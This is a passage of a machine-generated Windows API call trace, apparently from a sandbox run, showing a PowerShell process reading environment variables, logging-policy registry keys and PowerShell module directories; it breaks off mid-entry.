EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843f258*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xfc, [1]=0x90, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843f258*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xfc, [1]=0x90, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0083.846] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x843e824, nSize=0x80 | out: lpBuffer="") returned 0x0 [0083.935] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x843e824, nSize=0x80 | out: lpBuffer="遥肞က滸က滸") returned 0x0 [0083.948] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x843e810, nSize=0x80 | out: lpBuffer="က滸က滸") returned 0x0 [0083.954] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging", ulOptions=0x0, samDesired=0x20019, phkResult=0x843f080 | out: phkResult=0x843f080*=0x0) returned 0x2 [0083.955] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging", ulOptions=0x0, samDesired=0x20019, phkResult=0x843f080 | out: phkResult=0x843f080*=0x0) returned 0x2 [0083.957] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Policies\\Microsoft\\Windows\\EventLog\\ProtectedEventLogging", ulOptions=0x0, samDesired=0x20019, phkResult=0x843eff4 | out: phkResult=0x843eff4*=0x0) returned 0x2 [0083.958] EtwEventWriteTransfer (RegHandle=0x3228ae8, EventDescriptor=0x68, ActivityId=0x843f07c, RelatedActivityId=0x843f02c, UserDataCount=0x0, UserData=0x5) returned 0x0 [0083.959] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x843e7e0, nSize=0x80 | out: lpBuffer="က滸က滸") returned 0x0 [0083.963] CoCreateGuid (in: pguid=0x843ef6c | out: pguid=0x843ef6c*(Data1=0xb45fbd2d, Data2=0x99c8, Data3=0x4dc4, Data4=([0]=0x8c, [1]=0x51, [2]=0xdd, [3]=0xc4, [4]=0x67, [5]=0x2c, [6]=0x44, [7]=0x2e))) returned 0x0 [0083.964] CoCreateGuid (in: pguid=0x843ef6c | out: pguid=0x843ef6c*(Data1=0x14c6e40e, Data2=0x4c92, Data3=0x4017, Data4=([0]=0x87, [1]=0x9f, [2]=0x5b, [3]=0x2f, [4]=0xd3, [5]=0x3e, [6]=0xa4, [7]=0x2a))) returned 0x0 [0083.965] CoCreateGuid (in: pguid=0x843ef6c | out: pguid=0x843ef6c*(Data1=0x4b53b19b, Data2=0x9cf9, Data3=0x4261, Data4=([0]=0xb1, [1]=0xf1, [2]=0x1e, [3]=0xc, [4]=0xc9, [5]=0xeb, [6]=0xbf, [7]=0xac))) returned 0x0 [0083.965] CoCreateGuid (in: pguid=0x843ef6c | out: pguid=0x843ef6c*(Data1=0xea54a2e7, Data2=0x9c91, Data3=0x4050, Data4=([0]=0xb8, [1]=0x30, [2]=0x79, [3]=0x22, [4]=0x4d, [5]=0x2f, [6]=0x9b, [7]=0x17))) returned 0x0 [0084.277] SetConsoleTitleW (lpConsoleTitle="Running the process v.2.0.1 11.01.2019") returned 1 [0084.516] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x44c, lpConsoleScreenBufferInfo=0x843ef04 | out: lpConsoleScreenBufferInfo=0x843ef04) returned 1 [0084.571] SetConsoleTextAttribute (hConsoleOutput=0x44c, wAttributes=0x5f) returned 1 [0084.690] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x44c, lpConsoleScreenBufferInfo=0x843ef04 | out: lpConsoleScreenBufferInfo=0x843ef04) returned 1 [0084.738] SetConsoleTextAttribute (hConsoleOutput=0x44c, wAttributes=0xbf) returned 1 [0084.762] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x843ec18, nSize=0x80 | out: lpBuffer="P") returned 0x0 [0084.763] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x843eb34, nSize=0x80 | out: lpBuffer="") returned 0xbc [0084.763] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x843eabc, nSize=0xbc | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0084.767] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x843eaa8, nSize=0xbc | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL") returned 0x3a [0084.788] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x323fc20 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0084.789] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x843eab0, nSize=0xbc | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL") returned 0x3a [0084.790] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x24 [0084.790] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x24, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0084.790] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ebe8) returned 1 [0084.790] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath" (normalized: "c:\\programdata\\oracle\\java\\javapath"), fInfoLevelId=0x0, lpFileInformation=0x843ec64 | out: lpFileInformation=0x843ec64*(dwFileAttributes=0x2410, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xac5d590c, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0084.791] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ebe4) returned 1 [0084.791] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec64) returned 1 [0084.792] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x24 [0084.792] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x24, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0084.792] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Add-Type.*", lpFindFileData=0x843e98c | out: lpFindFileData=0x843e98c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0084.793] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec04) returned 1 [0084.793] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec10) returned 1 [0084.793] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x843e340, nSize=0xbc | out: lpBuffer="抈猾") returned 0x0 [0084.794] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0084.794] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x14, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x0) returned 0x13 [0084.794] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ebe8) returned 1 [0084.794] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x843ec64 | out: lpFileInformation=0x843ec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ec28c54, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0xebb5ab66, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xebb5ab66, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0xa0000)) returned 1 [0084.794] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ebe4) returned 1 [0084.794] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec64) returned 1 [0084.794] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0084.794] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x14, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x0) returned 0x13 [0084.794] FindFirstFileW (in: lpFileName="C:\\WINDOWS\\system32\\Add-Type.*", lpFindFileData=0x843e98c | out: lpFindFileData=0x843e98c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0084.794] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec04) returned 1 [0084.794] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec10) returned 1 [0084.794] GetFullPathNameW (in: lpFileName="C:\\WINDOWS", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xb [0084.794] GetFullPathNameW (in: lpFileName="C:\\WINDOWS", nBufferLength=0xb, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS", lpFilePart=0x0) returned 0xa [0084.794] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ebe8) returned 1 [0084.794] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x843ec64 | out: lpFileInformation=0x843ec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0xc838b81d, ftLastAccessTime.dwHighDateTime=0x1d41dc3, ftLastWriteTime.dwLowDateTime=0xc838b81d, ftLastWriteTime.dwHighDateTime=0x1d41dc3, nFileSizeHigh=0x0, nFileSizeLow=0x7000)) returned 1 [0084.794] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ebe4) returned 1 [0084.795] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec64) returned 1 [0084.795] GetFullPathNameW (in: lpFileName="C:\\WINDOWS", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xb [0084.795] GetFullPathNameW (in: lpFileName="C:\\WINDOWS", nBufferLength=0xb, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS", lpFilePart=0x0) returned 0xa [0084.795] FindFirstFileW (in: lpFileName="C:\\WINDOWS\\Add-Type.*", lpFindFileData=0x843e98c | out: lpFindFileData=0x843e98c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0084.795] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec04) returned 1 [0084.795] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec10) returned 1 [0084.795] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0084.795] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem", nBufferLength=0x19, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0084.795] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ebe8) returned 1 [0084.795] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem" (normalized: "c:\\windows\\system32\\wbem"), fInfoLevelId=0x0, lpFileInformation=0x843ec64 | out: lpFileInformation=0x843ec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1856002a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb288124d, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb288124d, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0084.796] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ebe4) returned 1 [0084.796] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec64) returned 1 [0084.796] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0084.796] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem", nBufferLength=0x19, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0084.796] FindFirstFileW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Add-Type.*", lpFindFileData=0x843e98c | out: lpFindFileData=0x843e98c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0084.798] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec04) returned 1 [0084.798] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec10) returned 1 [0084.798] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0084.798] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x2c, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x2b [0084.798] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ebe8) returned 1 [0084.799] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0"), fInfoLevelId=0x0, lpFileInformation=0x843ec64 | out: lpFileInformation=0x843ec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1856002a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x172cbef, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x8cfff4c6, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0084.799] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ebe4) returned 1 [0084.799] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec64) returned 1 [0084.799] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0084.799] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x2c, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x2b [0084.799] FindFirstFileW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Add-Type.*", lpFindFileData=0x843e98c | out: lpFindFileData=0x843e98c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0084.799] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec04) returned 1 [0084.799] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec10) returned 1 [0084.799] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0084.799] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps", nBufferLength=0x34, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps", lpFilePart=0x0) returned 0x33 [0084.799] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ebe8) returned 1 [0084.799] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\windowsapps"), fInfoLevelId=0x0, lpFileInformation=0x843ec64 | out: lpFileInformation=0x843ec64*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc88fb23e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0084.799] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ebe4) returned 1 [0084.799] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec64) returned 1 [0084.800] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0084.800] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps", nBufferLength=0x34, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps", lpFilePart=0x0) returned 0x33 [0084.800] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Add-Type.*", lpFindFileData=0x843e98c | out: lpFindFileData=0x843e98c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0084.800] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec04) returned 1 [0084.800] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec10) returned 1 [0084.802] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x843eb14, nSize=0xbc | out: lpBuffer="") returned 0xc3 [0084.802] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x843eb04, nSize=0xc3 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules;C:\\Users\\FD1HVy\\Documents\\WindowsPowerShell\\Modules;C:\\Program Files (x86)\\WindowsPowerShell\\Modules;C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules") returned 0xc2 [0084.807] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules" (normalized: "c:\\program files\\windowspowershell\\modules")) returned 0x10 [0084.810] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec94) returned 1 [0084.810] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2b [0084.810] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules", nBufferLength=0x2b, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules", lpFilePart=0x0) returned 0x2a [0084.810] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\*", lpFindFileData=0x843e9bc | out: lpFindFileData=0x843e9bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb507390a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x75c68c8 [0084.812] FindNextFileW (in: hFindFile=0x75c68c8, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb507390a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.812] FindNextFileW (in: hFindFile=0x75c68c8, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50744c4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Operation.Validation", cAlternateFileName="MICROS~1.VAL")) returned 1 [0084.812] FindNextFileW (in: hFindFile=0x75c68c8, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50eaa6c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackageManagement", cAlternateFileName="PACKAG~1")) returned 1 [0084.812] FindNextFileW (in: hFindFile=0x75c68c8, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x462363f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x462363f6, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pester", cAlternateFileName="")) returned 1 [0084.813] FindNextFileW (in: hFindFile=0x75c68c8, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53eacff, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerShellGet", cAlternateFileName="POWERS~1")) returned 1 [0084.813] FindNextFileW (in: hFindFile=0x75c68c8, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4631b23a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4631b23a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSReadline", cAlternateFileName="PSREAD~1")) returned 1 [0084.813] FindNextFileW (in: hFindFile=0x75c68c8, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0084.813] FindClose (in: hFindFile=0x75c68c8 | out: hFindFile=0x75c68c8) returned 1 [0084.814] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec50) returned 1 [0084.814] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec5c) returned 1 [0084.814] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.psd1")) returned 0xffffffff [0084.814] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.psm1")) returned 0xffffffff [0084.815] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.cdxml")) returned 0xffffffff [0084.815] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.xaml")) returned 0xffffffff [0084.815] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.ni.dll")) returned 0xffffffff [0084.815] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.dll" (normalized: 